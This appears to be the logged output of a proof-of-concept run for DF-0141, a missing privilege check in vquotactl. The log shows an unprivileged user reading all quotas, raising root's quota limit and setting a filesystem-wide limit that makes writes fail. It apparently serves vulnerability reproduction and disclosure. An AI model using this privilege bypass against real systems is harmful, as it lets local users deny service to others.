== DF-0141: unprivileged vquotactl privilege bypass ==
running as uid=1001 euid=1001 (expect: NO root)
target mount path: /tmp

[1] READ all quotas (info disclosure):
[get usage all] kernel returned quota table for /tmp:
  TOTAL space=102400  limit=0
  uid=0  space=102400  limit=0
  gid=0  space=102400  limit=0
    vquotactl("get usage all") rc=0 (SUCCESS)

[2] WRITE per-uid limit for uid=0 (root) -> 99999999:
    vquotactl("set limit uid" uid=0) rc=0 (SUCCESS — PRIVILEGE BYPASS)

[3] VERIFY root's limit was changed:
[get usage all] kernel returned quota table for /tmp:
  TOTAL space=102400  limit=0
  uid=0  space=102400  limit=99999999
  gid=0  space=102400  limit=0
    re-read rc=0 — look for uid=0 limit=99999999 above

[4] WRITE filesystem-wide limit -> 1234567 (DoS primitive):
    vquotactl("set limit") rc=0 (SUCCESS — FILESYSTEM-WIDE WRITE DoS)

[5] cleanup: reset root uid limit=0, fs limit=0

>>> RESULT: unprivileged uid=1001 manipulated quotas.
>>> If any of [1]-[4] returned SUCCESS, the privilege check is MISSING (DF-0141 reproduced).
POC_EXIT=0
===== DoS demo: maxx sets limit then write fails =====
--- maxx sets /tmp limit=100000 ---
LIMIT_RC=0
--- maxx writes 1KB ---
dd: /tmp/maxxtest: Disc quota exceeded
1+0 records in
0+0 records out
0 bytes transferred in 0.000153 secs (0 bytes/sec)
DD_RC=1
--- vquota show ---
total: 102400, limit = 100000
uid 0: 102400
gid 0: 102400
--- cleanup ---